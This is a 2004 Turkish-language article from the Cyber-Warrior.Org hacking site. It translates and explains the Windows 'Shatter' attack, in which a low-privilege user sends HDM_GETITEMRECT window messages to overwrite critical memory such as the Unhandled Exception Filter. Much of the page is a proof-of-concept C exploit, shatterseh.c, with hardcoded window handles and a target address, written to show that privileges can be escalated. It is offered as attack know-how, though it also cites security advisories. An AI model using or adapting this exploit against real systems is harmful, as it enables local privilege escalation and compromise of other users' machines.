Root > Documents > Web Güvenlik Açıkları > Shatter
Cyber-Warrior.Org \ Doküman \ Web Güvenlik Açıkları > Shatter
Madde
  Yazar : Stroller
  Date : 23.11.2004 16:16:30
 
# Shatter
 
Shatter(Kirma)

Çeviren : Cyber-Warrior Haberci Grubu (Stroller)


Shatter(Kirma) saldirilari haftanin açigi oldugundan, Biraz ilginç bilgiler ekleyecegimi düsünüyorum. Bilgiyi yeniden karistiracak degilim, bilgi zaten hazir. Eger okumayan varsa takip eden iki makaleyi okuyun.

NGSSoftware Insight Security Research Advisory (ing)

*http://www.ngssoftware.com/advisories/utilitymanager.txt

iDEFENSE Security Advisory (ing)

*http://www.idefense.com/advisory/07.11.03.txt

Bu iki sayfa shatter saldirisi hakkinda tüm bilgiyi içerir.

Burada anlatacagim teknik düsük seviyeli bir kullanicin bir sistemdeki önemli yollara nasil yazabilecegidir(overwrite). (SEH gibi hafiza konumlari)

Detay:

Birçok Windows mesajlari Windows hakkindaki GDI bilgilerini geri almak için bir POINT(nokta) yada RECT·e pointer(gösterge) kabul eder. Bu göstergelerin onaylandigi ne olursa olsun görülmez.

HDM_GETITEMTRECT mesajina konsantre olacagiz:

(MSDN·den)

HDM_GETITEMRECT Mesaji

Bir üst kontrolde verilen parçanin dikdörtgenini geri yükler.

Bu mesaji belirgince yollayabilirsiniz yada Header_GetItemRect makrosunu kullanin.

Sözdizim

Bu mesaji yollamak için asagidaki gibi SendMessage fonksiyonunu kullanin:

Result = SendMessage((HWND) hWndControl, // kontrol altinda tutar.

- (UINT) HDM_GETITEMRECT, // mesaj nosu (message ID)

- (WPARAM) wParam, // = (WPARAM) (int) iIndex;

- (LPARAM) lParam ); // = (LPARAM) (RECT*)

-lpItemRect;

- Parametreleri

- iIndex

- Üst kontrolün dikdörgeni geri yüklemek için gereken zero-based (sifir-temellenmis) içerigi.

- lpItemRect

-Dikdörteni geri yükleyen RECT·a giden gösterge bilgisi

(MSDN sonu)

Yani eger Unhandled Exception Filter 77edxxxx·in üzerine yazmak istersek sunu çagiririz:

SendMessage(hwnd,HDM_GETITEMRECT,0,0x77edxxxx)

Simdi ugrastiracak olan sey yazilan adresi nasil kontrol edecegimizdir.

Now the challenge is how do we control what is been written to the address.

RECT yapisi asagidaki gibi tanimlanir:

(MSDN·den)

- typedef struct _RECT {

- LONG left; (sol)

- LONG top; (üst)

- LONG right; (sag)

- LONG bottom; (alt)

- } RECT, *PRECT;

(MSDN sonu)

Kontrol edebildigimiz tek degerler sag girintisi yada genisligi. Boyut sinirli olmasina ragmen sadece 16 bitine yazmamiza izin veriyor. Yüksek bitler 0000·a.

Ancak yazilan adresimizi dengelersek 16 bitlik kontrol saglayabiliriz.

Eger iskelet kodumuzu XXXX0000 içerecek sekilde adrese yerlestirirsek iskelet kodumuzda genisligi XXXX seklinde ayarlayabilecegiz; yazmaya neden olarak ve istisna olarak.

Resimler bin kelimeye bedeldir. Bu yüzden bu örnegin üzerinde çalisalim.

Örnek Kod

/*******************************************************

* shatterseh.c

*

* Daha fazla shatter saldirisi oldugunu kanitlamak için örnek kod.

*

* Kritik hafiza adresleri üzerine yazilabildigini kanitlamak.

* Bu sadece örnek koddur ve iskelet koda erimez.

* Çünkü üst büyüklük gereklidir.

*

* Özel bir pencere seçmelisiniz.

* handles gereklidir

*

* Benim win2k SP3 ile uyumludur.

*

* Brett Moore [ brett.mooresecurity-assessment.com ]

* www.security-assessment.com

*******************************************************/

#include <windows.h>

#include <commctrl.h>

int main(int argc, char *argv[])

{

long lResult;

long hWndControl,hHdrControl;

char buffer[65535];

// Tampon malzemesi

memset(buffer,0x04,sizeof(buffer));

// Pencere basligi almak

hWndControl = 0x000C01E6;

// Pencere basligini belirtme

lResult = SendMessage((HWND) hWndControl,(UINT) WM_SETTEXT,0,&buffer);

// Üst basligi listeleme

hWndControl = 0x000E0274;

// Önemli bir seyin üzerine yazmak

lResult = SendMessage((HWND) hWndControl,(UINT)

HDM_GETITEMRECT,0,0x77EDA1EA);

// Istisnai durum

lResult = SendMessage((HWND) hWndControl,(UINT) HDM_GETITEMRECT,0,1);

return 0;

}

 

   
   
Cyber-Warrior TIM All Legal and illegal Rights Reserved.\CWDoktoray 2001©